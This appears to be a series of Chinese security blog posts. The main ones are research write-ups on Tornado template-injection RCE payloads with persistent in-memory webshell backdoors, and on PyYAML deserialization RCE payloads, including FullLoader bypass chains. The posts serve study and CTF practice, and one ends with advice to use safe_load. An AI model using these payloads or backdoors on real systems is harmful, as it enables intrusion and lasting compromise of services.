是一样的作用recursive_unicode
:把可迭代对象中的所有元素进行 to_unicode
由于通常模板实现时还会引入一些特殊的全局变量或者函数,通过 locals()
与 globals()
(或者看代码)可以挖掘一些没有在文档中说明的隐藏函数:
escape
:就是 xhtml_escape
datetime
:就是 python 标准库里的 datetime_tt_utf8
:就是 utf8
还有一个比较有趣的隐藏变量:__loader__
,这个东西下面有个 get_source
,它的作用是获取当前模板翻译后的代码,后面会用到。
至此,我们可以发现 Tornado 的模板是非常灵活的,几乎不设限。相较 Flask 设置的“沙箱”,对于研发来说 Tornado 要方便很多,但同时也方便了攻击者。
好了,到这里,我相信你和我一样,已经精通 Tornado 了。
Tornado 你可以理解为是 Flask + jinja2,所以 Tornado 的模板 tornado.template
其实也可以用在 Flask 里。为了能够讲清楚 Tornado 的 SSTI,我打算先写 tornado.template
再写 tornado.template
+ tornado.web.Application
,这样有个逐步递进的过程,更加容易理解。
由于 Tornado 模板实在过于开放,和 mako 差不多。所以 SSTI 手法基本上兼容 jinja2、mako 的 SSTI 手法,思路非常灵活。
我感觉绕过限制的话,直接用 Python 沙箱逃逸的思路即可,甚至连那里面的 Unicode 规范化的 bypass 姿势也可以直接用。所以我觉得在常规手法上,这里没有太多需要补充的点。
这里列举一下可以直接执行代码的方式吧:
{{ __import__("os").system("whoami") }}
{% apply __import__("os").system %}id{% end %}
{% raw __import__("os").system("whoami") %}
下面说一些稍微高级点的技巧。
Tornado 在生成模板的时候会生成一份 python 代码,这份代码就是模板翻译后的临时代码(不知道有没有更好的称呼。。)
所以先来浅析一下 Tornado 模板相关的源码。
整个分析过程我就不啰嗦了,总结一下:在 site-packages/tornado/template.py
的 class Template
下,__init__
负责读取模板,然后调用 _generate_python
将模板内容转为 Python 代码,转换过程会用到 _CodeWriter
,它负责把生成的 Python 代码写入 String.IO
实例中。拿到临时代码之后,将生成的 Python 代码编译为字节码。在执行 generate
的时候,会将临时代码用 exec
执行。
那么如果能看到临时代码的话,分析起来就比较方便了。这有很多种办法。
例如利用上面提到过的 __loader__.get_source
。先看下一份临时代码长啥样:
先尝试一下简单的覆盖:Template('{{print(__loader__.get_source(1))}}{% set _tt_utf8 = __import__("os").system %}{{"id"}}').generate()
可以看到,由于 set 了 _tt_utf8
,_tt_utf8
会被 Python 解释器视为局部变量,所以临时代码在执行到打印源码那一段的时候就抛出了错误(下面会具体解释原因)。所以只需要去掉前面打印源码的模板代码,就可以执行命令了:
所以这时需要看代码的话,在 Template.__init__
中打印就可以了:
那么这里还遗留了最后一个问题:为什么 set _tt_utf8
之后,原先命名空间里的 _tt_utf8
就失效了?答案在 Template.__init__
调用的 exec_in
里,这个函数位于 site-packages/tornado/util.py
中,其实就是一个指定了 globals 的 exec
。所以这种场景可以抽象为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21namespace = {}
source_code = """
def test():
print(str(1))
str = id
print(str)
"""
exec(
compile(
source_code,
"<string>", "exec",
),
namespace,
None
)
namespace["test"]()
# 源码中用到了 typing.cast,
# 这个不用管,它通常用于声明动态生成的变量的类型,
# 是留给类型检查工具使用的。
其实还可以进一步抽象为:1
2
3
4
5
6def test():
print(str(1))
str = id
print(str)
test()
这段代码执行会报 UnboundLocalError: local variable 'str' referenced before assignment
。
Python 官方对此给出的回答是:
在函数体中任意位置对变量重新赋值,这个变量在执行的时候就会被统一认定为是局部变量,所以 str
就是 referenced before assignment
了。
所以我们在用 {% set %}
来玩变量覆盖的时候要特别小心这个陷阱。
掌握如何覆盖变量之后,我们就可以探索一些更加有趣的技巧了。例如不用 (
、)
来完成命令执行:
1 |
|
再拓展一下思路,既然可以覆盖变量,那么能不能在临时代码中插入任意代码呢?显然注入任意代码要比覆盖变量实用得多。
来看上文中提到一个 payload:{% apply __import__("os").system %}id{% end %}
,它虽然可以成功执行,但其实是会报错的,不够完美:
因为 os.system
的返回值是 int 类型,而 _tt_utf8
不能接受 int 类型的参数。
先来看下临时代码:
可以看到,我们在 apply 后传入的 __import__("os").system
被原封不动地放到了 _tt_append(_tt_utf8(...))
里面去了,所以这里其实支持任意 python 语句,甚至不一定需要是一个函数。所以 apply 的利用方式还可以变形为:
{% apply __import__("os").system("id") %}id{% end %}
:虽然会报错但已执行命令{% apply [__import__("os").system("id"), str][1] %}id{% end %}
:能执行命令且不会报错看源码可知,临时代码的生成是直接往文件里写入,所以下面这种离谱的 payload 自然也是可以利用的:Template('''{% set _tt_utf8 = str %}{% set xhtml_escape = str\n eval("__import__('os').system('id')") %}''').generate()
最后我们如果仔细观察这份临时代码可以发现,使用 {% apply }` 会创建一个新的函数叫 `_tt_apply0`,但真正的 exp 其实是在函数外面,这就说明诸如 `{% function }` 形式的模板很多是可以利用的,比如 `{% autoescape __import__("os").system %}{{"id"}}
。甚至像 {% set }` 这种看起来只能用来创建变量的语法,同样有代码注入问题:![](https://rzx1szyykpugqc-1252075454.piccd.myqcloud.com/SecMap-SSTI-tornado/d7749110-5db6-4348-9f43-1b5502fbff61.png!blog#width-zoom7)由于本文最后会有所有已知利用方式的总结,为避免重复这里就不放了。#### 模板文件包含我们可以通过 `{%extends ... %}
、{%include ... %}
来包含模板文件,从而执行任意 ssti 的 payload。前提是需要有可控文件,比如一个文件上传点,至于被包含的模板文件的后缀是无所谓的。
测试用例:1
2
3
4
5
6import tornado.template
payload = ""
loader = tornado.template.Loader(".")
open("base.html", "w").write(payload)
loader.load("base.html").generate()
只要 any.any
这个文件可控(比如文件内容是 {{__import__("os").system("id")}}
),那么 payload 为 {% extends any.any%}
,这样也可以实现 SSTI。
先来写个测试用例:
1 |
|
这里需要稍微解释一下。对于 Tornado 来说,一旦 self.render
之后,就会实例化一个 tornado.template.Loader
,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把 tornado.web.RequestHandler._template_loaders
清空。否则在利用的时候,会一直用的第一个传入的 payload。
(所以其实要写出一个渲染文件的 SSTI 还不是那么简单的)
这种写法会新引入变量(只列举已知有用的):
request
:即 tornado.httputil.HTTPServerRequest
,下面的属性都是与 http 请求相关的handler
:tornado.web.RequestHandler
的示例。表示当前请求的 url 是谁处理的,比如这个代码来说,handle 就是 IndexHandler
。它下面有很多属性可以利用。所以 Tornado 中,tornado.httputil.HTTPServerRequest
和 tornado.web.RequestHandler
是非常重要的类。它们拥有非常多的属性,在 SSTI 相关的知识点中,我们需要熟练掌握这些属性的作用。
为了方便下面把 tornado.httputil.HTTPServerRequest
的实例称为 request
。
注意,由于属性非常多,属性自己也还有属性。所以这部分我只列了一些我感觉会用到的属性,肯定不全,有特殊需求的话需要自行进行挖掘。
request.query
:包含 get 参数request.query_arguments
:解析成字典的 get 参数,可用于传递基础类型的值(字符串、整数等)request.arguments
:包含 get、post 参数request.body
:包含 post 参数request.body_arguments
:解析成字典的 post 参数,可用于传递基础类型的值(字符串、整数等)request.cookies
:就是 cookierequest.files
:上传的文件request.headers
:请求头request.full_url
:完整的 urlrequest.uri
:包含 get 参数的 url。有趣的是,直接 str(requests)
然后切片,也可以获得包含 get 参数的 url。这样的话不需要 .
或者 getattr
之类的函数了。request.host
:Host 头request.host_name
:Host 头request.connection.write
request.connection.stream.write
request.server_connection.stream.write
例如:1
{%raw request.connection.write(("HTTP/1.1 200 OK\r\nCMD: "+__import__("os").popen("id").read()).encode()+b"hacked: ")%}'
主要用于攻击的有这几个属性:
Application.settings
:web 服务的配置,可能会泄露一些敏感的配置Application.add_handlers
:新增一个服务处理逻辑,可用于制作内存马,后面会一起说Application.wildcard_router.add_rules
:新增一个 url 处理逻辑,可用于制作内存马Application.add_transform
:新增一个返回数据的处理逻辑,理论上可以配合响应头来搞个内存马为了方便下面把 tornado.web.RequestHandler
称为 handler
。
同样,由于 handler 的属性也非常多,所以这部分也只是列举一些我觉得有用的属性。
需要注意的是,handler 是有 request
属性的,所以理论上 handler 要比 request 实用。
RequestHandler.request.*
:参考利用 HTTPServerRequest
那节get_argument
等等,就不一一列举了,可以参考官方文档随便列一点吧:
RequestHandler.set_cookie
:设置 cookieRequestHandler.set_header
:设置一个新的响应头RequestHandler.redirect
:重定向,可以通过 location 获取回显RequestHandler.send_error
:发送错误码和错误信息RequestHandler.write_error
:同上,被 send_error
调用Web 服务的内存马的构造一般是两个思路:
与此相关的 Tornado 属性:
RequestHandler.application
:即 tornado.web.Application
的实例。拿到这个就可以控制绝大多数 web 服务的行为。RequestHandler.initialize()
:在实例化 RequestHandler
的时候执行的函数(类似 __init__
)RequestHandler.prepare()
:在准备处理请求时执行的函数RequestHandler.on_finish()
:请求处理时完毕时执行的函数(只能做无回显的 RCE 后门,因为执行这个方法的时候,连接已经关闭了)RequestHandler.get(*args: str, **kwargs: str)
RequestHandler.head(*args: str, **kwargs: str)
RequestHandler.post(*args: str, **kwargs: str)
RequestHandler.delete(*args: str, **kwargs: str)
RequestHandler.patch(*args: str, **kwargs: str)
RequestHandler.put(*args: str, **kwargs: str)
RequestHandler.options(*args: str, **kwargs: str)
RequestHandler.application.add_handlers
RequestHandler.application.wildcard_router.add_rules
通过注册新的函数构造后门
那么首先很明显,通过 handler.application.add_handlers
即可注册一个新的 url,对应上面提到的第一种内存马构造手段:
1 |
|
稍微解释一下 payload,这里我们是用简单的方式来调用 add_handlers
:
host
,支持正则,但是有时候我们不一定知道服务监听的地址(比如容器那种),所以最好还是用 .*
RequestHandler
实例,这里用 type
来实现实例化(其实就是一开始的那个 web 示例里的 class IndexHandler
)需要注意的是,add_handlers
是直接在原有的 handler 列表中 append
,并且先到先得,所以一旦添加了一个有问题的后门,就只能换一个新的路径了。
理论上 handler.application.wildcard_router.add_rules
也可以构造内存马,反正方法一样,我就不费劲去写了。
通过覆盖处理函数构造后门
接下来看第二种构造手段。对于 Tornado 来说,每次请求都是一个全新的 handler 和 request,所以这种直接给 handler 绑定恶意函数的利用方式是不行的:
1 |
|
这里稍微解释一下,Tornado 对于参数有严格的限制,例如对于这个示例来说,name
参数一定要有。参数可以多但不能少,为了避免影响原有的功能,就通过 name 参数来传恶意指令了,通常我会自定义一个新的参数用于接收。
既然实例修改不起作用,我们可以用 __class__
顺藤摸瓜去修改它的类,这样修改完之后,所有新创建的实例都会自带恶意函数,在源头投毒:1
{%raw handler.__class__.prepare = lambda x: handler.write(str(eval(handler.get_query_argument("cmd", "id"))))%}
当然,这个 payload 还有两个问题:
handler.write
也会异常:RuntimeError: Cannot write() after finish()
,因为对于这个 handler 来说连接已经关闭了。handler.get_query_argument
获取的永远是绑定恶意函数时传入的参数,这样及时注册恶意函数成功,后续也没办法修改传入的参数了handler 既然是 tornado.web.RequestHandler
的实例化,那么 handler.write
的第一个参数必然是类中的 self
,所以要想动态地获取当前的实例,就应该用 lambda
接收到的参数。答案显而易见:
1 |
|
最后还需要注意一个关键的地方,handler.prepare
的返回值要么是 Awaitable
的,要么是 None
。所以作为既能用于回显,又返回 None
的 handler.write
简直是我们旅游出门居家必备的不二之选。
友情提示,通过覆盖请求处理前的方法来添加后门。一旦失败,整个 web 服务就会异常,必须重启才能恢复。
当然啦,进一步扩展覆盖 RequestHandler
方法的思路,这个类下很多方法都可以用来只做一个后门。由于姿势实在是太多了,我这里就举两种例子,若有需要橘友们根据调用关系自己分析构造即可。
异常情况下的内存马回显
既然提到了异常,上面说的都是在返回 200 状态码下的数据回显,若原本的功能因为参数异常出了问题,handler.write
是不会生效的,直接返回 500
。例如我们种植好后门之后,随便获取个不存在的属性就会直接 500
:
这一点我们可以在 RequestHandler._execute
中找到答案,整个请求处理流程一旦出错就会走到 RequestHandler._handle_request_exception
(这里面传输数据用的是 RequestHandler.send_error
)。而调用 RequestHandler.write
不过是把数据写入 _write_buffer
罢了,真正返回数据给客户端的方法是 RequestHandler.flush
,它调用的是 request.connection.write
,也就是上面我们提到过一个非常底层的传输数据的函数,所以用这个就可以解决这个问题。把 x.write
换成 x.request.connection.write
,再附带一些额外的数据即可实现一个比较完美的回显效果:
这样后门会更加稳定。
当然我们也可以直接把异常处理的函数覆盖掉,这个时候就可以愉快地使用 write
了,并且利用的时候只需要指定 cmd 参数就行:1
{%raw handler.__class__._handle_request_exception=lambda x,y:[x.write((str(eval(x.get_query_argument("cmd","id")))).encode()),x.finish()][0]%}
注意,上面这个技巧在 500
时会生效,但是 404
的时候是不会生效的,事实上只要是 HTTPError()
的错误码都没法完美地实现内存马。
已知 payload,举一反三哈:
{{ *expr* }}
可执行任意 python 语句,不啰嗦了
{% raw *expr* %}
可执行任意 python 语句,不啰嗦了
{% apply *function* %}...{% end %}
上面说过了
{% set *x* = *y* %}
{% set _tt_buffer = [__import__("os").popen("id").read().encode()] %}
。覆盖变量的姿势上面都说了很多了{% set a = 1\n return __import__("os").popen("id").read() %}
{% set return __import__("os").popen("id").read()%}
{% autoescape %}
{% autoescape __import__("os").system %}{{"id"}}
{% autoescape __import__("os").system("id") %}{{0}}
{% autoescape (lambda x: __import__("os").popen("id").read()) %}{{0}}
{% autoescape (lambda: __import__("os").popen("id").read())()) # %}{{0}}
{% autoescape (lambda: __import__("os").popen("id").read())())\n ( %}{{0}}
{% for *var* in *expr* %}...{% end %}
{% for i in [__import__("os").system("id")] %}{% end %}
{% for i in __import__("os").popen("id").read() %}{{i}}{% end %}
{% for i in [1]: _tt_buffer = [i.encode() for i in __import__("os").popen("id")]\n for i in []%}{% end %}
{% for i in [1]: return __import__("os").popen("id").read()\n for i in []%}{% end %}
{% from *x* import *y* %}
{% from os import popen %}{{ popen("id").read() }}
{% from os import popen\n return popen("id").read() %}
{% if *condition* %}...{% end %}
{% if __import__("os").system("id") %}1{% end %}
{% if 1: return __import__("os").popen("id").read()\n if 1:# %}1{% end %}
{% import *module* %}
{% import os %}{{os.popen("id").read()}}
{% import os\n return os.popen("id").read()%}
{% try %}...{% except %}...{% end %}
{% try : \n return __import__("os").popen("id").read() #%}{%except%}{%end%}
{% try : \n 1/0 # %}{%except :\n return __import__("os").popen("id").read()#%}{%end%}
{% while *condition* %}... {% end %}
{% while __import__("os").system("id") %}{%end%}
{% while 1: return __import__("os").popen("id").read() #\n while 1\n%}{%end%}
{% whitespace *mode* %}
暂无发现可利用的 payload
{% extends *filename* %}
上面说过了
{% include *filename* %}
上面说过了
{% module *expr* %}
理论上可以利用,但是需要的条件比较苛刻。
在实例化 tornado.web.Application
的时候就需要传入 ui_modules
配置。如果 ui_modules
的文件(.py
)可控,那么可以直接执行任意 Python 代码。
{% block *name* %}...{% end %}
暂无发现可利用的 payload
其实越是支持 python 语法的模板,攻击姿势就越多。因为 python 实在是太灵活了。
本文主要受前段虎符杯决赛的 python web 启发,那道题就是 Tornado 的 SSTI。由于这道题的过滤非常严格(我有理由怀疑这个过滤条件是网上搜了好多拼在一起的。。)。虽然最后题目是通过 str(request)
切片的方式做出来了,但是我还是想不用其他旁路的手段,来挑战一下过滤条件,过滤条件经过调整,如下:
解释一下:构造出一个 CMD,这个 CMD 经过这个 all
的计算后结果必须为 True
,且 eval(CMD)
需要可以在 os shell 里执行 id
(其实就是实现 RCE 啦)。
巧合的是,经过一周左右断断续续的尝试,正好是在 8.4 七夕的晚上成功解出了这道自己对自己发出的挑战。看着屏幕上跳出 RCE 的结果,我想这真是一种别样的浪漫。
我准备把这个挑战当做 OrangeKiller CTF 第 3 期的一道题。
好,我们下期见!
看图写话:
🦅 ⬇️ ✈️ = ?
🌪 💥 🅿️ = ?
🐯 🐑 🐑 = ?
第 1 期没有部署在线上,只有代码不好玩,所以从本期开始,都部署在线上了。首次访问可能稍微有点慢。
由于我比较懒,题目描述就不写了,所以把题目弄成了可自解释的形式,所有所需的信息、源码、writeup 链接等都在页面里。题目考点也比较明显,不需要花大量时间理解考点。
have fun!
一共 3 题:
题目链接:https://evil-eval-1.herokuapp.com/
一共 2 题:
题目链接:https://ez-python-exec-1.herokuapp.com/
一份成就感以及 5 个新的姿♂势
注:writeup 也在博客里
heroku 真香
YAML 相信橘友们都接触过。YAML 最常见的用途之一是创建配置文件。相比 JSON,因为 YAML 有更好的可读性(比如可以加注释),对用户更友好。我的博客用的是 hexo,它的配置就是通过 YAML 实现的。
这里简单说一下 YAML 支持的基础语法,若想更加深入了解语法规则,请移步 Google 搜索。
基础语法规则有以下几种:
---
隔开即可\t
),只允许使用空格。#
表示注释,和 Python 一样!!
表示强制类型装换&
来定义锚点,使用 *
来引用锚点。*
也可以和 <<
配合,引用时会自动展开对象,类似 Python 的 **dict()
下面通过 YAML 内容与 PyYAML 解析之后的结果对比,可以清晰地了解 YAML 到底配置了啥:
1 |
|
结果如下:
(内含彩蛋)
对于 PyYAML 的使用,请移步官方文档:
https://pyyaml.org/wiki/PyYAMLDocumentation
上面还差一个重要的语法没讲:可以通过 !!
来进行类型转换。
通过上面的测试可以发现,如果识别到一个数字,那么按照 YAML 格式来处理,这个类型就是数字类型。如果我们想把数字类型变为字符串类型就可以这样:a: !!str 1
,它的结果和 a: "1"
是一样的。
由于 YAML 仅仅是一种格式规范,所以理论上一个支持 YAML 的解析器可以选择性支持 YAML 的某些语法,也可以在 YAML 的基础上利用 !!
来扩展额外的解析能力。本文主要聚焦于 PyYAML,所以直接看源码就可以知道它在 !!
上做了哪些魔改。
在 site-packages/yaml/constructor.py
中可以看到使用了 add_constructor
的有 24 多个地方,这些都是用来支持基础的类型转换(带有 tag:yaml.org,2002:python/
的说明是 PyYAML 自定义的类型转换),这些基础类型转换的功能非常好理解,看上面那张图即可,就不多说了,来看下它是怎么实现的吧。
以 !!binary
这个为例,对应的函数是 construct_yaml_binary
,下个断点可以看到,传入的参数 node 格式为:1
2
3
4ScalarNode(
tag='tag:yaml.org,2002:binary',
value='R0lGODlhDAAMAIQAAP//9/X\n17unp5WZmZgAAAOfn515eXv\nPz7Y6OjuDg4J+fn5OTk6enp\n56enmleECcgggoBADs=mZmE'
)
所以对于一个 !!x x
来说,类型转换执行的伪代码就是:find_function("x")(x)
。这个也很好理解。
在理解了基础的类型转换之后,查看源码可以发现还有一个 add_multi_constructor
函数,一共有 5 个:
python/name
python/module
python/object
python/object/new
python/object/apply
从上面那张图可以看到,这几个都可以引入新的模块。这就是 PyYAML 存在反序列化的本质原因。
截止目前(2022),PyYAML 的利用划分以版本 5.1 为界限,<5.1 版本的利用非常简单,就先介绍一下;>5.1 的利用很相似,但需要稍微做一些解释,所以放在后面。
下面按照利用难度从易到难排列。
下面以 4.2b4
为例。
<5.1 版本中提供了几个方法用于解析 YAML:
yaml.load
:加载单个 YAML 配置yaml.load_all
:加载多个 YAML 配置以上这两种均可以通过 Loader
参数来指定加载器。一共有三个加载器,加载器后面对应了三个不同的构造器:
BaseConstructor
:最最基础的构造器,不支持强制类型转换SafeConstructor
:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改Constructor
:在 YAML 规范上新增了很多强制类型转换Constructor
这个是最危险的构造器,却是默认使用的构造器。
对应的函数是 construct_python_object_apply
,最终在 make_python_instance
中引入了模块中的方法并执行。
python/object/apply
要求参数必须用一个列表的形式提供,所以以下 payload 都是等价的,但是写法不一样,可以用来绕过:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31yaml.load('exp: !!python/object/apply:os.system ["whoami"]')
yaml.load("exp: !!python/object/apply:os.system ['whoami']")
# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")
yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")
yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")
# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")
yaml.load("!!python/object/apply:os.system [whoami]: exp")
yaml.load("!!python/object/apply:os.system [whoami]")
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
对应的函数是 construct_python_object_new
,这个函数仅有一行,就是调用 construct_python_object_apply
,他们两个链路的区别在于调用 make_python_instance
时 newobj
参数不同。
而仔细观察 make_python_instance
中的 if newobj and isinstance(cls, type)
条件基本上都会满足(有例外,后面那个条件有点特殊的地方,下面会细说)。所以 python/object/new
和 python/object/apply
可以视为是完全等价的,那么它们的 payload 就是一样的,参考上面即可。
对应的函数是 construct_python_object
,非常简单,先 make_python_instance
了一下,然后执行了 set_python_instance_state
。根据上面的经验,只要走到 make_python_instance
就可以触发调用。但问题是这里没法传参,所以只能执行无参函数:
有趣的是,这种利用方式会报错:TypeError: can't set attributes of built-in/extension type 'object'
,通过分析代码可知,流程是走到了 setattr(object, key, value)
报错的:
这个是必然的,object 这种内置的类,都是在底层的 C 代码中写死的,官方不允许对它们随便设置属性的。这里顺便说一句,通过 gc 引用是可以修改的:
当然这个不是本文重点。
所以这很明显是一个 bug,因为这个流程既然存在就必定会走到,而现在一旦走到就必然报错。查了下 issue,发现在 18 年的时候就已经发现了:
的确,应该是 setattr(instance, key, value)
。这个 bug 在 5.3 已修复了。
对应的函数是 construct_python_module
,里面调用了 find_python_module
,等价于 import
。
那么在这种没有调用逻辑的情况下,是否有办法利用呢?我感觉在可以写任意文件的时候是有办法的。比如搭配任意文件上传。
首先写入执行目录,yaml 中指定同名模块,例如上传一段恶意代码,叫 exp.py
,然后通过 yaml.load('!!python/module:exp')
加载。
在实际的场景中,由于一般用于存放上传文件的目录和执行目录并不是同一个,例如:
1 |
|
这个时候只需要上传一个 .py 文件,这个文件会被放在 uploads 下,这时只需要触发 import uploads.header
就可以利用了:
更简单的,直接上传 __init__.py
,在触发的时候用 !!python/module:uploads
就可以了。
对应的函数是 construct_python_name
,里面调用了 find_python_name
,与 python/module
的逻辑极其类似,区别在于,python/module
仅仅返回模块而 python/name
返回的是模块下面的属性/方法。
利用的逻辑除了上面一样之外,还可以用于这种场景:
1 |
|
这个时候的 payload 为 token: !!python/name:__main__.TOKEN
,无需知道 TOKEN 是什么,但是需要知道变量名。
当然,这个场景除了 !!python/module
无法完成利用之外,上述其他姿势都可以实现。
由于默认的构造器太过强大,开发人员不了解这些危险很容易中招。所以 PyYAML 的开发者就将构造器分为:
BaseConstructor
:没有任何强制类型转换SafeConstructor
:只有基础类型的强制类型转换FullConstructor
:除了 python/object/apply
之外都支持,但是加载的模块必须位于 sys.modules
中(说明已经主动 import 过了才让加载)。这个是默认的构造器。UnsafeConstructor
:支持全部的强制类型转换Constructor
:等同于 UnsafeConstructor
对应顶层的方法新增了:
yaml.full_load
yaml.full_load_all
yaml.unsafe_load
yaml.unsafe_load_all
通常情况下,我们还是会使用 yaml.load
,这个时候会有 warning:
因为在不指定 Loader
的时候,默认是 FullConstructor
构造器。这对开发人员起到了提醒的作用。
除此之外,在 make_python_instance
还新增的额外的限制:if not (unsafe or isinstance(cls, type))
,也就是说,在安全模式下,加载进来的 module.name
必须是一个类(例如 int
、str
之类的),否则就会报错。
常规的利用方式和 <5.1 版本的姿势是一样的。当然前提是构造器必须用的是 UnsafeConstructor
或者 Constructor
,也就是这种情况:
yaml.unsafe_load(exp)
yaml.unsafe_load_all(exp)
yaml.load(exp, Loader=UnsafeLoader)
yaml.load(exp, Loader=Loader)
yaml.load_all(exp, Loader=UnsafeLoader)
yaml.load_all(exp, Loader=Loader)
直接打就好了。
FullConstructor 中,限制了只允许加载 sys.modules
中的模块。这个有办法突破吗?我们先列举一下限制:
module
必须是位于 sys.modules
中module
必须是位于 sys.modules
中unsafe = False
,加载进来的 module.name
必须是一个类举两个不行的例子:
!!python/name:pickle.loads
:pickle
不在 sys.modules
中!!python/object/new:builtins.eval ["print(1)"]
:eval
虽然在 sys.modules
中,但是 type(builtins.eval)
是 builtin_function_or_method
而不是一个类。那么最直接的思路就是,有没有一个模块,它在 FullConstructor 上下文中的 sys.modules
里,同时它还有一个类,这个类可以执行命令?答案就是 subprocess.Popen
。所以最简单的 payload 就是:1
2
3
4yaml.load("""
!!python/object/apply:subprocess.Popen
- whoami
""")
不用 !!python/object/apply
的话,也有其他办法。
通过遍历 builtins 下的所有方法,可以找到这些看起来有点用的:1
2
3
4
5
6
7
8
9
10
11
12
13bool、bytearray、bytes
complex
dict
enumerate
filter、float、frozenset
int
list
map、memoryview
object
range、reversed
set、slice、str、staticmethod
tuple
zip
其中,map
是可以用来触发函数执行的,那么函数怎么引用进来呢?很明显就是 python/name
,所以这个 payload 的原型就可以是:1
tuple(map(eval, ["__import__('os').system('whoami')"]))
翻译为 YAML 即为:1
2
3
4
5
6yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
这里有个非常有趣的地方,如果把 tuple
换成 list
或者是 set
,理论上同样会解开 map 里的内容:
但是通过 !!python/object/new
来使用时却会忽略参数,生成一个空的迭代对象:
可以看到,上面并没有执行命令(只要尝试解开 payload 里的 map 必定会执行命令)。跟踪执行流程并审计源码可以发现,在 make_python_instance
中,这也是为什么我上面说这个条件比较特殊。
可以看到,这里是通过 cls.__new__
来新建一个 cls 实例的,因为 FullConstructor 下使用 python/object/new
时,newobj 必定是 True
,而后面那个条件必定是满足的,否则上面一个条件就会报错。
所以到这里我们就可以复现这个 “bug”:
那么为什么通过 list.__new__
会忽略元素参数,而 tuple.__new__
却不会呢?
通过审计 Python 的 C 代码,对比 list 和 tuple 的底层实现,大致可以得出这么一个结论:由于 __new__
的调用在 __init__
之前,所以我猜测不可变类型是在 __new__
时插入元素,而可变类型是在 __init__
时插入元素,所以 __new__
时传入的元素参数就被忽略了,而 __init__
又没有接收到元素,所以就生成了一个空的实例。注意,这个结论由于精力原因,并没有经过严格的考证,若感兴趣橘友们应当自行跟踪调试。
所以 frozenset
、bytes
等这种不可变类型都会解开里面的元素从而触发命令执行,而 dict
、bytearray
等这种可变类型就不会:
所以,我们只需要找到 触发带参调用 + 引入函数 这两个点就可以完成攻击。在 construct_python_object_apply
中,不仅进行了实例化,如果有 listitems
还会调用实例的 extend
方法,所以原型是:1
2exp = type("exp", (), {"extend": eval})
exp.extend("__import__('os').system('whoami')")
YAML payload:1
2
3
4
5
6
7
8yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")
结果:
construct_python_object_apply
中还对实例进行 setstate,即调用了 __setstate__
,所以同样的思路,原型:1
2exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")
YAML payload:1
2
3
4
5
6
7
8yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"__setstate__": !!python/name:eval }
state: "__import__('os').system('whoami')"
""")
这里的 type
也可以用 staticmethod
来替换。例如,在 set_python_instance_state
中,还有个调用 slotstate.update
的逻辑,那么只要将 slotstate.update
置为 eval
,state
就是 RCE 的 payload。原型:
1 |
|
YAML payload:1
2
3
4
5
6
7
8
9
10
11
12
13yaml.full_load("""
!!python/object/new:str
args: []
# 通过 state 触发调用
state: !!python/tuple
- "__import__('os').system('whoami')"
# 下面构造 exp
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list # 不设置这个也可以,会报错但也已经执行成功
""")
这个稍微复杂一些。
总之这个组合拳用来绕过 FullConstructor 是很简单的。
FullConstructor 现在只额外支持 !!python/name
、!!python/object
、!!python/object/new
和 !!python/module
,!!python/object/apply
G 了。
2022.6.29 本文更新
5.3.1 引入了一个新的过滤机制,本质上就是实现一个属性名黑名单(正则),匹配到就报错。
见:https://github.com/yaml/pyyaml/pull/386
简单,粗暴。
2022.6.29 本文更新
FullConstructor 现在只额外支持 !!python/name
,!!python/object/apply
、!!python/object
、!!python/object/new
和 !!python/module
都 G 了。
2022.6.29 本文更新
现在在使用 yaml.load
时,用户必须指定 Loader。这个改进其实有点强硬,所以引发了一堆 issue,还有人在直接开怼认为这是糟糕的设计。但是至少安全性上来说,相比给一个告警,确实得到了一定提升。
issue 见:https://github.com/yaml/pyyaml/issues/576
我感觉大多数时候没必要使用如此灵活的解析,所以作为研发,可以尽量使用 yaml.safe_load
来做解析,这一点没啥可说的。
写完这一切之后,我在官方 issue 中看到了关于 >5.1 的 yaml.full_load
安全问题的讨论,这个是默认方法却存在漏洞。作为安全人员,我的观点是官方提供的默认方法应该是安全的,即使牺牲了部分功能。如果一定需要使用那些不太安全的功能也可以,但是需要主动开启(例如加额外的参数,或者换方法名),否则大多数人都会使用 full_load,毕竟是默认的方法。我感觉打印警告起到的作用还是稍微弱了一些。
本来周一就有周末综合征
又叠加了一个节后综合征
buff 叠满了
前段时间打一个 CTF 的时候,遇到了一道 xsleaks 的题目,队内复盘的时候找到了 Google 的 xsleaks wiki:
https://github.com/xsleaks/xsleaks
我这个人学习的时候不喜欢东学一块西学一块,要么系统性地学,要么就摆烂不学。所以最近就在看这个 wiki,感觉很有意思,所以我给他翻译了一下,中文版 wiki 的仓库链接见:
https://github.com/Macr0phag3/xsleaks-wiki-zh_CN
我认为这种攻击方式算比较新的(这几年才有比较完整的资料),也算比较旧的(很多特性很多年之前就已经被人用过了)。目前我对它的理解,就是一句话:通过浏览器在不同场景下的不同行为(报错/布尔盲注或者侧信道),推测一些原来受到同源策略(或其他浏览器限制)没法直接读取到的数据(所以大部分是敏感信息泄露)。
我这个 wiki 与官方 wiki 的差别除了语言之外,还新增了 demo 文件夹,里面目前只有一个小 demo,后面会补充一些 demo 和 CTF 题。
由于我才刚开始学习这种攻击方式,虽然翻译一遍基本上等同于看了一遍,但是很多细节我并没有深入研究,所以我在理解以及利用上可能还会差点意思。因此,后面应该会有 SecMap-xsleaks 的系列文章,主要路线是:
这三条路线如果仔细搞的话,估计够我写个大半年的文章。。。所以应该不会很密集地出。
好了,够 300 字了,本文比较简单就不多 bb 了,下期见!
仓库里的 demo 还挺有意思的
不来试试吗?
flask 还是一个非常流行的 Python Web 框架,我个人是非常喜欢的。
